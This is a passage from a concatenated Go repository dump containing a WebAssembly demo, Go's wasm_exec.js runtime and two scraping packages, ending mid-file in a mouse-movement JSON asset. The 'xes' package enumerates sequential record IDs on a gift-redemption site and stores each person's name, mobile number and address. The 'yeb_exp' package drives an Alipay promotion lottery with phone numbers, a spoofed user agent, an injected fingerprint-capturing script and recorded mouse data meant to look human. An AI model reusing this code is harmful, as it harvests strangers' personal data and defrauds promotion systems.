14 | res := "" 15 | tempNumber := "" 16 | for _, v := range ins { 17 | c := string(v) 18 | if c >= "0" && c <= "9" { 19 | tempNumber += c 20 | continue 21 | } 22 | 23 | if c == "(" { 24 | repeatNumber, _ := strconv.Atoi(tempNumber) 25 | stack = append(stack, repeatNumber, len(res)) 26 | tempNumber = "" 27 | continue 28 | } 29 | 30 | if c == ")" { 31 | repeatNumber := stack[len(stack)-2] 32 | repeatStr := res[stack[len(stack)-1]:] 33 | stack = stack[:len(stack)-2] 34 | for i := 0; i < repeatNumber-1; i++ { 35 | res += repeatStr 36 | } 37 | continue 38 | } 39 | 40 | res += c 41 | 42 | } 43 | return res 44 | } 45 | -------------------------------------------------------------------------------- /wasm/go_js/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | //"time" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "syscall/js" 9 | ) 10 | 11 | func main() { 12 | log.SetFlags(log.Lshortfile | log.LstdFlags) 13 | //defer func() {recover()}() 14 | resp, err := http.Get("http://127.0.0.1:8080") 15 | handleErr(err) 16 | d, err := ioutil.ReadAll(resp.Body) 17 | handleErr(err) 18 | jsLog(string(d)) 19 | jsLog("Hello world Go/wasm!") 20 | //js.Global().Get("document").Call("getElementById", "app").Set("innerText", time.Now().String()) 21 | } 22 | 23 | func handleErr(err error) { 24 | if err != nil { 25 | js.Global().Get("console").Call("log", err.Error()) 26 | panic(err) 27 | } 28 | } 29 | 30 | func jsLog(d string) { 31 | js.Global().Get("console").Call("log", string(d)) 32 | log.Println(d) 33 | } 34 | -------------------------------------------------------------------------------- /wasm/public/app.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/wasm/public/app.wasm -------------------------------------------------------------------------------- /wasm/public/wasm_exec.html: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | 10 | 11 | Go wasm 12 | 13 | 14 | 15 | 16 | 38 |
39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /wasm/public/wasm_exec.js: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | (() => { 6 | // Map web browser API and Node.js API to a single common API (preferring web standards over Node.js API). 7 | const isNodeJS = typeof process !== "undefined"; 8 | if (isNodeJS) { 9 | global.require = require; 10 | global.fs = require("fs"); 11 | 12 | const nodeCrypto = require("crypto"); 13 | global.crypto = { 14 | getRandomValues(b) { 15 | nodeCrypto.randomFillSync(b); 16 | }, 17 | }; 18 | 19 | global.performance = { 20 | now() { 21 | const [sec, nsec] = process.hrtime(); 22 | return sec * 1000 + nsec / 1000000; 23 | }, 24 | }; 25 | 26 | const util = require("util"); 27 | global.TextEncoder = util.TextEncoder; 28 | global.TextDecoder = util.TextDecoder; 29 | } else { 30 | if (typeof window !== "undefined") { 31 | window.global = window; 32 | } else if (typeof self !== "undefined") { 33 | self.global = self; 34 | } else { 35 | throw new Error("cannot export Go (neither window nor self is defined)"); 36 | } 37 | 38 | let outputBuf = ""; 39 | global.fs = { 40 | constants: { O_WRONLY: -1, O_RDWR: -1, O_CREAT: -1, O_TRUNC: -1, O_APPEND: -1, O_EXCL: -1 }, // unused 41 | writeSync(fd, buf) { 42 | outputBuf += decoder.decode(buf); 43 | const nl = outputBuf.lastIndexOf("\n"); 44 | if (nl != -1) { 45 | console.log(outputBuf.substr(0, nl)); 46 | outputBuf = outputBuf.substr(nl + 1); 47 | } 48 | return buf.length; 49 | }, 50 | openSync(path, flags, mode) { 51 | const err = new Error("not implemented"); 52 | err.code = "ENOSYS"; 53 | throw err; 54 | }, 55 | }; 56 | } 57 | 58 | const encoder = new TextEncoder("utf-8"); 59 | const decoder = new TextDecoder("utf-8"); 60 | 61 | global.Go = class { 62 | constructor() { 63 | this.argv = ["js"]; 64 | this.env = {}; 65 | this.exit = (code) => { 66 | if (code !== 0) { 67 | console.warn("exit code:", code); 68 | } 69 | }; 70 | this._callbackTimeouts = new Map(); 71 | this._nextCallbackTimeoutID = 1; 72 | 73 | const mem = () => { 74 | // The buffer may change when requesting more memory. 75 | return new DataView(this._inst.exports.mem.buffer); 76 | } 77 | 78 | const setInt64 = (addr, v) => { 79 | mem().setUint32(addr + 0, v, true); 80 | mem().setUint32(addr + 4, Math.floor(v / 4294967296), true); 81 | } 82 | 83 | const getInt64 = (addr) => { 84 | const low = mem().getUint32(addr + 0, true); 85 | const high = mem().getInt32(addr + 4, true); 86 | return low + high * 4294967296; 87 | } 88 | 89 | const loadValue = (addr) => { 90 | const f = mem().getFloat64(addr, true); 91 | if (!isNaN(f)) { 92 | return f; 93 | } 94 | 95 | const id = mem().getUint32(addr, true); 96 | return this._values[id]; 97 | } 98 | 99 | const storeValue = (addr, v) => { 100 | const nanHead = 0x7FF80000; 101 | 102 | if (typeof v === "number") { 103 | if (isNaN(v)) { 104 | mem().setUint32(addr + 4, nanHead, true); 105 | mem().setUint32(addr, 0, true); 106 | return; 107 | } 108 | mem().setFloat64(addr, v, true); 109 | return; 110 | } 111 | 112 | switch (v) { 113 | case undefined: 114 | mem().setUint32(addr + 4, nanHead, true); 115 | mem().setUint32(addr, 1, true); 116 | return; 117 | case null: 118 | mem().setUint32(addr + 4, nanHead, true); 119 | mem().setUint32(addr, 2, true); 120 | return; 121 | case true: 122 | mem().setUint32(addr + 4, nanHead, true); 123 | mem().setUint32(addr, 3, true); 124 | return; 125 | case false: 126 | mem().setUint32(addr + 4, nanHead, true); 127 | mem().setUint32(addr, 4, true); 128 | return; 129 | } 130 | 131 | let ref = this._refs.get(v); 132 | if (ref === undefined) { 133 | ref = this._values.length; 134 | this._values.push(v); 135 | this._refs.set(v, ref); 136 | } 137 | let typeFlag = 0; 138 | switch (typeof v) { 139 | case "string": 140 | typeFlag = 1; 141 | break; 142 | case "symbol": 143 | typeFlag = 2; 144 | break; 145 | case "function": 146 | typeFlag = 3; 147 | break; 148 | } 149 | mem().setUint32(addr + 4, nanHead | typeFlag, true); 150 | mem().setUint32(addr, ref, true); 151 | } 152 | 153 | const loadSlice = (addr) => { 154 | const array = getInt64(addr + 0); 155 | const len = getInt64(addr + 8); 156 | return new Uint8Array(this._inst.exports.mem.buffer, array, len); 157 | } 158 | 159 | const loadSliceOfValues = (addr) => { 160 | const array = getInt64(addr + 0); 161 | const len = getInt64(addr + 8); 162 | const a = new Array(len); 163 | for (let i = 0; i < len; i++) { 164 | a[i] = loadValue(array + i * 8); 165 | } 166 | return a; 167 | } 168 | 169 | const loadString = (addr) => { 170 | const saddr = getInt64(addr + 0); 171 | const len = getInt64(addr + 8); 172 | return decoder.decode(new DataView(this._inst.exports.mem.buffer, saddr, len)); 173 | } 174 | 175 | const timeOrigin = Date.now() - performance.now(); 176 | this.importObject = { 177 | go: { 178 | // func wasmExit(code int32) 179 | "runtime.wasmExit": (sp) => { 180 | const code = mem().getInt32(sp + 8, true); 181 | this.exited = true; 182 | delete this._inst; 183 | delete this._values; 184 | delete this._refs; 185 | this.exit(code); 186 | }, 187 | 188 | // func wasmWrite(fd uintptr, p unsafe.Pointer, n int32) 189 | "runtime.wasmWrite": (sp) => { 190 | const fd = getInt64(sp + 8); 191 | const p = getInt64(sp + 16); 192 | const n = mem().getInt32(sp + 24, true); 193 | fs.writeSync(fd, new Uint8Array(this._inst.exports.mem.buffer, p, n)); 194 | }, 195 | 196 | // func nanotime() int64 197 | "runtime.nanotime": (sp) => { 198 | setInt64(sp + 8, (timeOrigin + performance.now()) * 1000000); 199 | }, 200 | 201 | // func walltime() (sec int64, nsec int32) 202 | "runtime.walltime": (sp) => { 203 | const msec = (new Date).getTime(); 204 | setInt64(sp + 8, msec / 1000); 205 | mem().setInt32(sp + 16, (msec % 1000) * 1000000, true); 206 | }, 207 | 208 | // func scheduleCallback(delay int64) int32 209 | "runtime.scheduleCallback": (sp) => { 210 | const id = this._nextCallbackTimeoutID; 211 | this._nextCallbackTimeoutID++; 212 | this._callbackTimeouts.set(id, setTimeout( 213 | () => { this._resolveCallbackPromise(); }, 214 | getInt64(sp + 8) + 1, // setTimeout has been seen to fire up to 1 millisecond early 215 | )); 216 | mem().setInt32(sp + 16, id, true); 217 | }, 218 | 219 | // func clearScheduledCallback(id int32) 220 | "runtime.clearScheduledCallback": (sp) => { 221 | const id = mem().getInt32(sp + 8, true); 222 | clearTimeout(this._callbackTimeouts.get(id)); 223 | this._callbackTimeouts.delete(id); 224 | }, 225 | 226 | // func getRandomData(r []byte) 227 | "runtime.getRandomData": (sp) => { 228 | crypto.getRandomValues(loadSlice(sp + 8)); 229 | }, 230 | 231 | // func stringVal(value string) ref 232 | "syscall/js.stringVal": (sp) => { 233 | storeValue(sp + 24, loadString(sp + 8)); 234 | }, 235 | 236 | // func valueGet(v ref, p string) ref 237 | "syscall/js.valueGet": (sp) => { 238 | storeValue(sp + 32, Reflect.get(loadValue(sp + 8), loadString(sp + 16))); 239 | }, 240 | 241 | // func valueSet(v ref, p string, x ref) 242 | "syscall/js.valueSet": (sp) => { 243 | Reflect.set(loadValue(sp + 8), loadString(sp + 16), loadValue(sp + 32)); 244 | }, 245 | 246 | // func valueIndex(v ref, i int) ref 247 | "syscall/js.valueIndex": (sp) => { 248 | storeValue(sp + 24, Reflect.get(loadValue(sp + 8), getInt64(sp + 16))); 249 | }, 250 | 251 | // valueSetIndex(v ref, i int, x ref) 252 | "syscall/js.valueSetIndex": (sp) => { 253 | Reflect.set(loadValue(sp + 8), getInt64(sp + 16), loadValue(sp + 24)); 254 | }, 255 | 256 | // func valueCall(v ref, m string, args []ref) (ref, bool) 257 | "syscall/js.valueCall": (sp) => { 258 | try { 259 | const v = loadValue(sp + 8); 260 | const m = Reflect.get(v, loadString(sp + 16)); 261 | const args = loadSliceOfValues(sp + 32); 262 | storeValue(sp + 56, Reflect.apply(m, v, args)); 263 | mem().setUint8(sp + 64, 1); 264 | } catch (err) { 265 | storeValue(sp + 56, err); 266 | mem().setUint8(sp + 64, 0); 267 | } 268 | }, 269 | 270 | // func valueInvoke(v ref, args []ref) (ref, bool) 271 | "syscall/js.valueInvoke": (sp) => { 272 | try { 273 | const v = loadValue(sp + 8); 274 | const args = loadSliceOfValues(sp + 16); 275 | storeValue(sp + 40, Reflect.apply(v, undefined, args)); 276 | mem().setUint8(sp + 48, 1); 277 | } catch (err) { 278 | storeValue(sp + 40, err); 279 | mem().setUint8(sp + 48, 0); 280 | } 281 | }, 282 | 283 | // func valueNew(v ref, args []ref) (ref, bool) 284 | "syscall/js.valueNew": (sp) => { 285 | try { 286 | const v = loadValue(sp + 8); 287 | const args = loadSliceOfValues(sp + 16); 288 | storeValue(sp + 40, Reflect.construct(v, args)); 289 | mem().setUint8(sp + 48, 1); 290 | } catch (err) { 291 | storeValue(sp + 40, err); 292 | mem().setUint8(sp + 48, 0); 293 | } 294 | }, 295 | 296 | // func valueLength(v ref) int 297 | "syscall/js.valueLength": (sp) => { 298 | setInt64(sp + 16, parseInt(loadValue(sp + 8).length)); 299 | }, 300 | 301 | // valuePrepareString(v ref) (ref, int) 302 | "syscall/js.valuePrepareString": (sp) => { 303 | const str = encoder.encode(String(loadValue(sp + 8))); 304 | storeValue(sp + 16, str); 305 | setInt64(sp + 24, str.length); 306 | }, 307 | 308 | // valueLoadString(v ref, b []byte) 309 | "syscall/js.valueLoadString": (sp) => { 310 | const str = loadValue(sp + 8); 311 | loadSlice(sp + 16).set(str); 312 | }, 313 | 314 | // func valueInstanceOf(v ref, t ref) bool 315 | "syscall/js.valueInstanceOf": (sp) => { 316 | mem().setUint8(sp + 24, loadValue(sp + 8) instanceof loadValue(sp + 16)); 317 | }, 318 | 319 | "debug": (value) => { 320 | console.log(value); 321 | }, 322 | } 323 | }; 324 | } 325 | 326 | async run(instance) { 327 | this._inst = instance; 328 | this._values = [ // TODO: garbage collection 329 | NaN, 330 | undefined, 331 | null, 332 | true, 333 | false, 334 | global, 335 | this._inst.exports.mem, 336 | this, 337 | ]; 338 | this._refs = new Map(); 339 | this._callbackShutdown = false; 340 | this.exited = false; 341 | 342 | const mem = new DataView(this._inst.exports.mem.buffer) 343 | 344 | // Pass command line arguments and environment variables to WebAssembly by writing them to the linear memory. 345 | let offset = 4096; 346 | 347 | const strPtr = (str) => { 348 | let ptr = offset; 349 | new Uint8Array(mem.buffer, offset, str.length + 1).set(encoder.encode(str + "\0")); 350 | offset += str.length + (8 - (str.length % 8)); 351 | return ptr; 352 | }; 353 | 354 | const argc = this.argv.length; 355 | 356 | const argvPtrs = []; 357 | this.argv.forEach((arg) => { 358 | argvPtrs.push(strPtr(arg)); 359 | }); 360 | 361 | const keys = Object.keys(this.env).sort(); 362 | argvPtrs.push(keys.length); 363 | keys.forEach((key) => { 364 | argvPtrs.push(strPtr(`${key}=${this.env[key]}`)); 365 | }); 366 | 367 | const argv = offset; 368 | argvPtrs.forEach((ptr) => { 369 | mem.setUint32(offset, ptr, true); 370 | mem.setUint32(offset + 4, 0, true); 371 | offset += 8; 372 | }); 373 | 374 | while (true) { 375 | const callbackPromise = new Promise((resolve) => { 376 | this._resolveCallbackPromise = () => { 377 | if (this.exited) { 378 | throw new Error("bad callback: Go program has already exited"); 379 | } 380 | setTimeout(resolve, 0); // make sure it is asynchronous 381 | }; 382 | }); 383 | this._inst.exports.run(argc, argv); 384 | if (this.exited) { 385 | break; 386 | } 387 | await callbackPromise; 388 | } 389 | } 390 | 391 | static _makeCallbackHelper(id, pendingCallbacks, go) { 392 | return function() { 393 | pendingCallbacks.push({ id: id, args: arguments }); 394 | go._resolveCallbackPromise(); 395 | }; 396 | } 397 | 398 | static _makeEventCallbackHelper(preventDefault, stopPropagation, stopImmediatePropagation, fn) { 399 | return function(event) { 400 | if (preventDefault) { 401 | event.preventDefault(); 402 | } 403 | if (stopPropagation) { 404 | event.stopPropagation(); 405 | } 406 | if (stopImmediatePropagation) { 407 | event.stopImmediatePropagation(); 408 | } 409 | fn(event); 410 | }; 411 | } 412 | } 413 | 414 | if (isNodeJS) { 415 | if (process.argv.length < 3) { 416 | process.stderr.write("usage: go_js_wasm_exec [wasm binary] [arguments]\n"); 417 | process.exit(1); 418 | } 419 | 420 | const go = new Go(); 421 | go.argv = process.argv.slice(2); 422 | go.env = process.env; 423 | go.exit = process.exit; 424 | WebAssembly.instantiate(fs.readFileSync(process.argv[2]), go.importObject).then((result) => { 425 | process.on("exit", (code) => { // Node.js exits if no callback is pending 426 | if (code === 0 && !go.exited) { 427 | // deadlock, make Go print error and stack traces 428 | go._callbackShutdown = true; 429 | go._inst.exports.run(); 430 | } 431 | }); 432 | return go.run(result.instance); 433 | }).catch((err) => { 434 | throw err; 435 | }); 436 | } 437 | })(); 438 | -------------------------------------------------------------------------------- /wasm/wasm_init.go: -------------------------------------------------------------------------------- 1 | package wasm 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | "os" 7 | "os/exec" 8 | "path" 9 | "runtime" 10 | "strings" 11 | ) 12 | 13 | func Init() { 14 | _, f, _, _ := runtime.Caller(0) 15 | dir := path.Dir(f) 16 | // 编译给js用的go程序 17 | //cmd := exec.Command("env") 18 | cmd := exec.Command("go", "build", "-o", dir+"/public/app.wasm", dir+"/go_js/main.go") 19 | os.Setenv("GOARCH", "wasm") 20 | os.Setenv("GOOS", "js") 21 | cmd.Stderr = os.Stderr 22 | cmd.Stdout = os.Stdout 23 | if err := cmd.Run(); err != nil { 24 | log.Println(err) 25 | } 26 | cmd.Wait() 27 | 28 | // 启动一个web服务器 29 | http.ListenAndServe("0.0.0.0:8080", http.HandlerFunc( 30 | func(resp http.ResponseWriter, req *http.Request) { 31 | if strings.HasSuffix(req.URL.Path, ".wasm") { 32 | resp.Header().Set("content-type", "application/wasm") 33 | } 34 | 35 | http.FileServer(http.Dir(dir+"/public")).ServeHTTP(resp, req) 36 | })) 37 | } 38 | -------------------------------------------------------------------------------- /xes/xes_init.go: -------------------------------------------------------------------------------- 1 | package xes 2 | 3 | import ( 4 | "funny/spider_client" 5 | "github.com/PuerkitoBio/goquery" 6 | "github.com/pkg/errors" 7 | "gopkg.in/mgo.v2" 8 | "gopkg.in/mgo.v2/bson" 9 | "log" 10 | "strconv" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | var Session *mgo.Session 16 | var InfoCollection *mgo.Collection 17 | 18 | // 学而思礼品兑换数据采集 19 | func Init() { 20 | connectMongo() 21 | ch := make(chan int, 100) 22 | go queryTask(ch) 23 | for i := 120000; i < 130000; i++ { 24 | ch <- i 25 | } 26 | } 27 | 28 | func insertTask(ch chan *bson.M) { 29 | var arr []interface{} 30 | mustInsert := false 31 | Task: 32 | for { 33 | ok := false 34 | var data *bson.M 35 | select { 36 | case data, ok = <-ch: 37 | if !ok { 38 | break Task 39 | } 40 | case <-time.After(5 * time.Second): 41 | mustInsert = true 42 | } 43 | if data != nil { 44 | arr = append(arr, *data) 45 | } 46 | if (len(arr) > 10 || mustInsert) && len(arr) > 0 { 47 | mustInsert = false 48 | if err := InfoCollection.Insert(arr...); err == nil { 49 | arr = arr[0:0] 50 | } else { 51 | arr = arr[0:0] 52 | log.Println(err) 53 | } 54 | } 55 | } 56 | } 57 | 58 | func queryTask(ch chan int) { 59 | client := spider_client.New(200, 200, 0, true) 60 | saveChan := make(chan *bson.M, 10) 61 | go insertTask(saveChan) 62 | for { 63 | i, ok := <-ch 64 | num := strconv.Itoa(i) 65 | num = strings.Repeat("0", 6-len(num)) + num 66 | if !ok { 67 | close(saveChan) 68 | break 69 | } 70 | result, err := client.Get("http://dh.gyspbj.com/history/tal_"+num, 1) 71 | if err != nil { 72 | log.Println(err) 73 | } 74 | info, err := getInfo(result.Body) 75 | if err != nil { 76 | log.Println(err) 77 | } 78 | //log.Println(num) 79 | if info != nil { 80 | log.Println(num) 81 | (*info)["worker_id"] = num 82 | (*info)["_id"] = i 83 | saveChan <- info 84 | } 85 | } 86 | } 87 | 88 | func connectMongo() { 89 | url := "mongodb://root:root@127.0.0.1:27017/admin" 90 | s, err := mgo.Dial(url) 91 | if err != nil { 92 | panic(err) 93 | } 94 | 95 | Session = s 96 | 97 | Session.SetMode(mgo.Monotonic, true) 98 | InfoCollection = Session.DB("playground").C("xes_worker") 99 | } 100 | 101 | func getInfo(str string) (*bson.M, error) { 102 | doc, err := goquery.NewDocumentFromReader(strings.NewReader(str)) 103 | if err != nil { 104 | return nil, errors.Wrap(err, "文档解析错误") 105 | } 106 | if doc.Find("title").Text() != "已兑换-记录" { 107 | return nil, nil 108 | } 109 | result := bson.M{} 110 | mp := map[string]string{ 111 | "name": ".his_apply_info > *:nth-child(1)", 112 | "mobile": ".his_apply_info > *:nth-child(2)", 113 | "address": ".his_apply_info > *:nth-child(3)", 114 | "order": ".his_apply_info > *:nth-child(5)", 115 | } 116 | for k, v := range mp { 117 | str := doc.Find(v).Text() 118 | t := strings.Split(str, ":") 119 | str = t[len(t)-1] 120 | result[k] = str 121 | } 122 | return &result, nil 123 | } 124 | -------------------------------------------------------------------------------- /yeb_exp/callApi.go: -------------------------------------------------------------------------------- 1 | package yeb_exp 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | ) 7 | 8 | func doCallApi(mobileCh <-chan string, uaCh <-chan *jua) { 9 | for mobile := range getUser() { 10 | jua := <-uaCh 11 | req, _ := http.NewRequest("GET", "https://promoprod.alipay.com/campaign/lotteryWithLogonInfo.json", nil) 12 | q := req.URL.Query() 13 | for k, v := range appConfig.InviteParam { 14 | q.Set(k, v) 15 | } 16 | q.Set("bindMobile", mobile) 17 | q.Set("json_ua", jua.ua) 18 | req.URL.RawQuery = q.Encode() 19 | res, err := apiClient.Do(req, 0) 20 | req.Header.Set("User-Agent", "Mozil la/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Mobile Safari/537.36") 21 | if err != nil { 22 | log.Println(err) 23 | } 24 | log.Println(mobile, res.Body, req.URL.String()) 25 | //time.Sleep(3 * time.Second) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /yeb_exp/jsonUa.go: -------------------------------------------------------------------------------- 1 | package yeb_exp 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "time" 7 | ) 8 | 9 | type jua struct { 10 | ua string 11 | abort func() 12 | ctx context.Context 13 | } 14 | 15 | func (j *jua) provide(ch chan *jua) { 16 | time.Sleep(3 * time.Second) 17 | LOOP: 18 | for i := 0; i < 5; i++ { 19 | ch <- j 20 | select { 21 | case <-time.After(1 * time.Second): 22 | case <-j.ctx.Done(): 23 | break LOOP 24 | } 25 | } 26 | } 27 | 28 | func getJsonUa() <-chan *jua { 29 | ch := make(chan *jua, 10) 30 | go func() { 31 | for ua := range freshJsonUa() { 32 | ctx, cancel := context.WithCancel(appCtx) 33 | j := &jua{ 34 | ua: ua, 35 | abort: cancel, 36 | ctx: ctx, 37 | } 38 | log.Println(ua) 39 | go j.provide(ch) 40 | } 41 | }() 42 | return ch 43 | } 44 | 45 | func freshJsonUa() <-chan string { 46 | return make(chan string) 47 | } 48 | -------------------------------------------------------------------------------- /yeb_exp/userProvider.go: -------------------------------------------------------------------------------- 1 | package yeb_exp 2 | 3 | import ( 4 | "gopkg.in/mgo.v2/bson" 5 | "log" 6 | ) 7 | 8 | func getUser() <-chan string { 9 | ch := make(chan string, 10) 10 | go func() { 11 | ch <- "13823260948" 12 | return 13 | var rows []bson.M 14 | lastMobile := "1379" 15 | for { 16 | err := appConfig.mgo.user.Find(bson.M{ 17 | appConfig.MobileColumn: bson.M{"$gt": lastMobile}, 18 | }).Limit(100).Sort(appConfig.MobileColumn).All(&rows) 19 | if err != nil { 20 | log.Println(err) 21 | continue 22 | } 23 | lastMobile = rows[len(rows)-1][appConfig.MobileColumn].(string) 24 | for _, r := range rows { 25 | ch <- r[appConfig.MobileColumn].(string) 26 | } 27 | } 28 | close(ch) 29 | }() 30 | return ch 31 | } 32 | -------------------------------------------------------------------------------- /yeb_exp/util/asset.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "fmt" 5 | _ "funny/yeb_exp/util/statik" 6 | "github.com/rakyll/statik/fs" 7 | "io/ioutil" 8 | "log" 9 | "net/http" 10 | "strings" 11 | ) 12 | 13 | //go:generate statik -src=assets -dest=. 14 | 15 | var hfs http.FileSystem 16 | 17 | func init() { 18 | hfs, _ = fs.New() 19 | } 20 | func GetAsset(path string) (bin []byte, err error) { 21 | f, err := hfs.Open(path) 22 | if err != nil { 23 | log.Println(err, hfs) 24 | return 25 | } 26 | return ioutil.ReadAll(f) 27 | } 28 | 29 | func GetAssetStr(path string) string { 30 | bin, _ := GetAsset(path) 31 | return string(bin) 32 | } 33 | 34 | func StrReplace(str string, mp map[string]interface{}) string { 35 | for k, v := range mp { 36 | str = strings.Replace(str, k, fmt.Sprint(v), -1) 37 | } 38 | return str 39 | } 40 | 41 | func LogErr(err error) { 42 | if err != nil { 43 | log.Println(err) 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /yeb_exp/util/assets/inject.js: -------------------------------------------------------------------------------- 1 | setTimeout((function (getEventListeners) { 2 | return function () { 3 | var config = { 4 | frameId: '[frameId]', 5 | contextId: '[contextId]', 6 | user: '[u]', 7 | pass: '[pass]' 8 | } 9 | config.contextId *= 1 10 | 11 | function notifyChromedp(type, data) { 12 | console.debug('__notify__' + JSON.stringify({ 13 | contextId: config.contextId, 14 | type: type, 15 | data: data, 16 | frameId: config.frameId, 17 | })) 18 | return true 19 | } 20 | 21 | window.notifyChromedp = notifyChromedp 22 | function onece(checkFn, cb, int) { 23 | int = int || 1 24 | var timer = setInterval(function () { 25 | var r = checkFn() 26 | if (r) { 27 | clearInterval(timer) 28 | cb(r) 29 | } 30 | }) 31 | } 32 | function oneceDom(checkFn, cb) { 33 | var called = false 34 | var fn = function () { 35 | if (called) return 36 | var dom = checkFn() 37 | if (dom) { 38 | called = true 39 | document.removeEventListener('DOMSubtreeModified', fn) 40 | cb(dom) 41 | } 42 | } 43 | document.addEventListener('DOMSubtreeModified', fn) 44 | } 45 | 46 | onece(function () { 47 | return window.json_ua 48 | }, function (ua) { 49 | notifyChromedp('ua.ok', {ua: ua}) 50 | /*setTimeout(function () { 51 | location.reload() 52 | }, 5e3)*/ 53 | }) 54 | window.doSubmit = function (m) { 55 | // document.querySelector('#ant-render-id-pages_outside_components_mobile_mobile > div > input').value = m 56 | document.querySelector('#ant-render-id-pages_outside_components_mobile_mobile > div > div').click() 57 | return true 58 | } 59 | } 60 | })(getEventListeners)); 61 | true -------------------------------------------------------------------------------- /yeb_exp/util/assets/mouseData.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "x": 1, 4 | "y": 0, 5 | "t": 126 6 | }, 7 | { 8 | "x": 3, 9 | "y": 0, 10 | "t": 140 11 | }, 12 | { 13 | "x": 7, 14 | "y": 0, 15 | "t": 157 16 | }, 17 | { 18 | "x": 12, 19 | "y": 1, 20 | "t": 173 21 | }, 22 | { 23 | "x": 18, 24 | "y": 1, 25 | "t": 190 26 | }, 27 | { 28 | "x": 26, 29 | "y": 1, 30 | "t": 207 31 | }, 32 | { 33 | "x": 31, 34 | "y": 1, 35 | "t": 223 36 | }, 37 | { 38 | "x": 35, 39 | "y": 1, 40 | "t": 239 41 | }, 42 | { 43 | "x": 41, 44 | "y": 1, 45 | "t": 257 46 | }, 47 | { 48 | "x": 49, 49 | "y": 1, 50 | "t": 273 51 | }, 52 | { 53 | "x": 58, 54 | "y": 1, 55 | "t": 290 56 | }, 57 | { 58 | "x": 64, 59 | "y": 1, 60 | "t": 307 61 | }, 62 | { 63 | "x": 70, 64 | "y": 1, 65 | "t": 323 66 | }, 67 | { 68 | "x": 73, 69 | "y": 1, 70 | "t": 340 71 | }, 72 | { 73 | "x": 77, 74 | "y": 1, 75 | "t": 356 76 | }, 77 | { 78 | "x": 82, 79 | "y": 1, 80 | "t": 373 81 | }, 82 | { 83 | "x": 92, 84 | "y": 1, 85 | "t": 390 86 | }, 87 | { 88 | "x": 98, 89 | "y": 1, 90 | "t": 406 91 | }, 92 | { 93 | "x": 103, 94 | "y": 1, 95 | "t": 424 96 | }, 97 | { 98 | "x": 108, 99 | "y": 1, 100 | "t": 439 101 | }, 102 | { 103 | "x": 113, 104 | "y": 1, 105 | "t": 456 106 | }, 107 | { 108 | "x": 116, 109 | "y": 1, 110 | "t": 473 111 | }, 112 | { 113 | "x": 119, 114 | "y": 1, 115 | "t": 490 116 | }, 117 | { 118 | "x": 122, 119 | "y": 1, 120 | "t": 506 121 | }, 122 | { 123 | "x": 125, 124 | "y": 1, 125 | "t": 523 126 | }, 127 | { 128 | "x": 129, 129 | "y": 1, 130 | "t": 539 131 | }, 132 | { 133 | "x": 133, 134 | "y": 1, 135 | "t": 557 136 | }, 137 | { 138 | "x": 136, 139 | "y": 1, 140 | "t": 573 141 | }, 142 | { 143 | "x": 140, 144 | "y": 1, 145 | "t": 589 146 | }, 147 | { 148 | "x": 147, 149 | "y": 1, 150 | "t": 606 151 | }, 152 | { 153 | "x": 151, 154 | "y": 1, 155 | "t": 623 156 | }, 157 | { 158 | "x": 154, 159 | "y": 1, 160 | "t": 640 161 | }, 162 | { 163 | "x": 158, 164 | "y": 1, 165 | "t": 657 166 | }, 167 | { 168 | "x": 161, 169 | "y": 1, 170 | "t": 673 171 | }, 172 | { 173 | "x": 164, 174 | "y": 1, 175 | "t": 690 176 | }, 177 | { 178 | "x": 166, 179 | "y": 1, 180 | "t": 706 181 | }, 182 | { 183 | "x": 168, 184 | "y": 1, 185 | "t": 723 186 | }, 187 | { 188 | "x": 170, 189 | "y": 1, 190 | "t": 740 191 | }, 192 | { 193 | "x": 172, 194 | "y": 1, 195 | "t": 756 196 | }, 197 | { 198 | "x": 175, 199 | "y": 1, 200 | "t": 773 201 | }, 202 | { 203 | "x": 178, 204 | "y": 1, 205 | "t": 790 206 | }, 207 | { 208 | "x": 183, 209 | "y": 1, 210 | "t": 806 211 | }, 212 | { 213 | "x": 187, 214 | "y": 1, 215 | "t": 823 216 | }, 217 | { 218 | "x": 190, 219 | "y": 1, 220 | "t": 840 221 | }, 222 | { 223 | "x": 193, 224 | "y": 1, 225 | "t": 856 226 | }, 227 | { 228 | "x": 196, 229 | "y": 1, 230 | "t": 873 231 | }, 232 | { 233 | "x": 199, 234 | "y": 1, 235 | "t": 889 236 | }, 237 | { 238 | "x": 202, 239 | "y": 1, 240 | "t": 907 241 | }, 242 | { 243 | "x": 206, 244 | "y": 1, 245 | "t": 923 246 | }, 247 | { 248 | "x": 209, 249 | "y": 1, 250 | "t": 940 251 | }, 252 | { 253 | "x": 213, 254 | "y": 1, 255 | "t": 957 256 | }, 257 | { 258 | "x": 219, 259 | "y": 1, 260 | "t": 973 261 | }, 262 | { 263 | "x": 223, 264 | "y": 1, 265 | "t": 990 266 | }, 267 | { 268 | "x": 231, 269 | "y": 1, 270 | "t": 1006 271 | }, 272 | { 273 | "x": 236, 274 | "y": 1, 275 | "t": 1024 276 | }, 277 | { 278 | "x": 239, 279 | "y": 1, 280 | "t": 1040 281 | }, 282 | { 283 | "x": 242, 284 | "y": 1, 285 | "t": 1056 286 | }, 287 | { 288 | "x": 246, 289 | "y": 1, 290 | "t": 1073 291 | }, 292 | { 293 | "x": 251, 294 | "y": 1, 295 | "t": 1090 296 | }, 297 | { 298 | "x": 254, 299 | "y": 1, 300 | "t": 1106 301 | }, 302 | { 303 | "x": 258, 304 | "y": 1, 305 | "t": 1123 306 | }, 307 | { 308 | "x": 262, 309 | "y": 1, 310 | "t": 1140 311 | }, 312 | { 313 | "x": 267, 314 | 